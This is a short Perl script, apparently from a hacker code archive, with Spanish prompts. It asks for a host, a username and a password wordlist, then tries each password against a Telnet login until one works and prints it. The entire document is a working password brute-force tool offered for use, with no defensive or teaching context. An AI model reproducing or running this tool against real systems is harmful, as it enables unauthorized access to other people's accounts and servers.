./c0de/perl/bttel.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
#!/usr/bin/perl
#c0dex by m0x.lk
#BtTel.- RE & Hase
use Net::Telnet ();
system ("clear");
system ("cls");
system ("color f3");
print "\n";
print "\t\tC0dex by m0x.lk\n";
print "\n";
print "\t BtTel.- RE & HaSe * darkc0de\n";
print "\n";
sleep 1;
print "Host: ";
$host=<STDIN>;
print "\n\n";
print "Username: ";
$username=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$i = 1;
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;
 
        $t = new Net::Telnet (Host => $host);
        eval { $t->login($username, $try); };
        if ($@) {
print "\n";
print "[+] Obteniendo Pass";
print "\n";
                print $i++ . ": Fallo - $try\n";
        }
        else {
                print "'$try - $i intentos";
                last;
        }
        $t->close;
}
close(IN);

Back